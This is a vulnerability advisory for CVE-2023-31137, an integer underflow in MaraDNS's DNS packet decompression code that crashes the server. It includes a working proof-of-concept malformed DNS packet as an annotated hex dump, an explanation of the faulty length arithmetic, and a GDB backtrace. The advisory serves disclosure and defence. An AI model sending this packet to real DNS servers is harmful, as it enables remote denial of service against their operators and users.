Integer Underflow Vulnerability in MaraDNS's DNS Packet Decompression

May 9, 2023

CVE Number

CVE-2023-31137

Credits

Huascar Tejeda of Pentraze Cybersecurity

Summary

A remotely exploitable Integer Underflow (CWE-191) vulnerability has been identified in MaraDNS version 3.5.0024 and prior. This issue resides in the DNS packet decompression function, allowing an attacker to trigger a Denial of Service (DoS) through abnormal program termination.

CVSS

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Details

An Integer Underflow vulnerability exists in the decomp_get_rddata function within the Decompress.c file of MaraDNS up to version 3.5.0024. The vulnerability is triggered when processing a DNS packet that includes an Answer Resource Record (RR) of qtype 16 (TXT record) with any qclass. Specifically, if the rdlength is smaller than rdata, the computation at Decompress.c:886 results in a negative number, len = rdlength - total;. This erroneous value is subsequently used in the decomp_append_bytes function without adequate validation, prompting the system to attempt allocating an unmanageably large memory segment. As a result, the application terminates unexpectedly with an error code of 64, leading to a Denial of Service.

PoC

To reproduce the vulnerability, an attacker can craft a malformed DNS packet with the following payload:


00000000  05 39 81 a0 00 00 00 01  00 00 00 00 00 00 10 00  |.9..............|
00000010  01 00 00 01 2c 00 00 07  68 74 65 6a 65 64 61     |....,...htejeda|

05 39 # Transaction ID
81 a0 # Flags
00 00 # QDCount
00 01 # ANCount
00 00 # NSCount
00 00 # ARCount

00    # Invalid qname. Using a valid name or "\xc0\x0c" also works.
00 10 # Qtype 16  (TXT Record)
00 01 # Class 1   (NS)
00 00 01 2c # TTL (300)
00 00 # RDlen
07 68 74 65 6a 65 64 61 #RData "htejeda\x00"
  1. rlength = 0 and rdata = -8. The arithmetic operation in decomp_get_rddata assigns -8 to len and calls decomp_append_bytes().
  2. decomp_append_bytes() calls js_create(), which converts len to unsigned int (4294967290) and passes it as max_count
  3. js_create() calls js_alloc() with max_count + 3, which is implicitly converted back to -3.
  4. js_alloc() calls malloc(-3), which is implicitly converted to 18446744073709551613 on a 64-bit system (UINT64_MAX + 1 + (-3)).

GDB Backtrace

malloc(-3)  // unit_count int(-3) * unit_size int(1)
[+] Heap-Analysis - __libc_malloc(18446744073709551613)=0x0
Aieeeeee, can not allocate memory (increase max_mem maybe?)![Inferior 1 (process 3149758) exited with code 0100]

(gdb) bt
#0  0x00007ffff7c455f4 in __GI_exit (status=0x40) at ./stdlib/exit.c:142
#1  0x000055555555e1a6 in js_alloc
#2  0x000055555555cb29 in js_create ()
#3  0x0000555555565bc6 in decomp_append_bytes ()
#4  0x0000555555566462 in decomp_get_rddata ()
#5  0x0000555555566650 in decomp_decompress_packet ()
#6  0x0000000000420828 in decompress_data ()
#7  0x000000000040ce65 in main

#0  0x00007ffff7c455f4 in __GI_exit (status=0x40) at ./stdlib/exit.c:142

#1  0x00005555555611d9 in js_alloc (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
                        63: void js_alloc(unit_count = (int)-3, unit_size = (int)1) {
                       |||:
                       127:            the best thing to do is exit then and there */
                       128:         printf("Aieeeeee, can not allocate memory (increase max_mem maybe?)!");
                       129:         exit(64);
                       |||:
                       ---: }
                       at JsStrOS.c:129

#2  0x000055555555f526 in js_create (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
                       20: js_string js_create(max_count = (unsigned int)4294967290, unit_size = (unsigned int)1) {
                       ||:
                       ||: /* Local reference: js_string * new = 0x5555558ab810; */
                       ||: /* Local reference: unsigned int max_count = 4294967290; */
                       ||: /* Local reference: unsigned int unit_size = 1; */
                       32:     /* Allocate memory for character string, return on error */
                       33:     /* The 3 is a security margin */
                       34:     if((new->string = js_alloc(max_count + 3,unit_size)) == (void *)0) {
                       ||:
                       --: }
                       at JsStr.c:34

#3  0x000055555556d0ae in decomp_append_bytes (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
                       271: int decomp_append_bytes(compressed = (js_string *)0x5555558a0700, uncompressed = (js_string *)0x5555558a8ee0, compresse
d_offset = (unsigned int)54, length = (int)-8) {
                       |||:
                       |||: /* Local reference: js_string * temp = 0x5555558ab810; */
                       |||: /* Local reference: int length = -8; */
                       273:
                       274:     js_string *temp;
                       275:     if((temp = js_create(length + 2,1)) == 0) {
                       |||:
                       ---: }
                       at Decompress.c:275

#4  0x000055555556dc6d in decomp_get_rddata (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
                       823: int decomp_get_rddata(compressed = (js_string *)0x5555558a0700, out = (js_string *)0x5555558a8ee0, compressed_offset =
(unsigned int)54, type = (int)16, rdlength = (int)0) {
                       |||:
                       |||: /* Local reference: js_string * compressed = 0x5555558a0700; */
                       |||: /* Local reference: js_string * out = 0x5555558a8ee0; */
                       888:                     break;
                       889:                     }
                       890:                 if(decomp_append_bytes(compressed,out,
                       |||:
                       ---: }
                       at Decompress.c:890

#5  0x000055555556deee in decomp_decompress_packet (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
                        934: int decomp_decompress_packet(compressed = (js_string *)0x5555558a0700, uncompressed = (js_string *)0x5555558a0a40) {
                       ||||:
                       ||||: /* Local reference: js_string * rddata = 0x5555558a8ee0; */
                       ||||: /* Local reference: int offset = 46; */
                       ||||: /* Local reference: int type = 16; */
                       ||||: /* Local reference: int rdlength = 0; */
                       ||||: /* Local reference: js_string * compressed = 0x5555558a0700; */
                       1010:         /* Hack: zero out the rddata string */
                       1011:         rddata->unit_count = 0;
                       1012:         if(decomp_get_rddata(compressed,rddata,offset,type,rdlength)
                       ||||:
                       ----: }
                       at Decompress.c:1012

#6 0x000055555556e000 in decompress_data (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
                       1050: int decompress_data(compressed = (js_string *)0x5555558a0700, uncompressed = (js_string *)0x5555558a0a40) {
                       ||||:
                       ||||: /* Local reference: js_string * compressed = 0x5555558a0700; */
                       ||||: /* Local reference: js_string * uncompressed = 0x5555558a0a40; */
                       1062:         }
                       1063:     else {
                       1064:         return decomp_decompress_packet(compressed,uncompressed);
                       ||||:
                       ----: }
                       at Decompress.c:1064

#7 0x000055555555f27c in main (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
                       3789: int main(argc = (int)3, argv = (char **)0x7fffffffe008) {
                       ||||:
                       ||||: /* Local reference: js_string * incoming = 0x5555558a0700; */
                       ||||: /* Local reference: js_string * uncomp = 0x5555558a0a40; */
                       4679:         if(log_level >= 3)
                       4680:             mlog(L_GOTDATA);     /* "Message received, processing" */
                       4681:         if(decompress_data(incoming,uncomp) == JS_ERROR) {
                       ||||:
                       ----: }
                       at MaraDNS.c:4681

Servicios

Pruebas de Penetración

Evaluación proactiva utilizando tácticas, técnicas y procedimientos de atacantes reales para identificar fallas de seguridad, configuraciones incorrectas y vulnerabilidades.

Más información

Seguridad de Aplicaciones

Protección integral de aplicaciones, garantizando la seguridad en todas las fases del desarrollo.

Más información

Ejercicios de Red Team

Simulación avanzada de ataques cibernéticos para evaluar y mejorar la capacidad de respuesta de una organización.

Más información

Gestión de Vulnerabilidades

Proceso proactivo para identificar, priorizar y abordar las vulnerabilidades de seguridad en sistemas y software, mejorando la defensa de una organización contra las amenazas cibernéticas en evolución.

Más información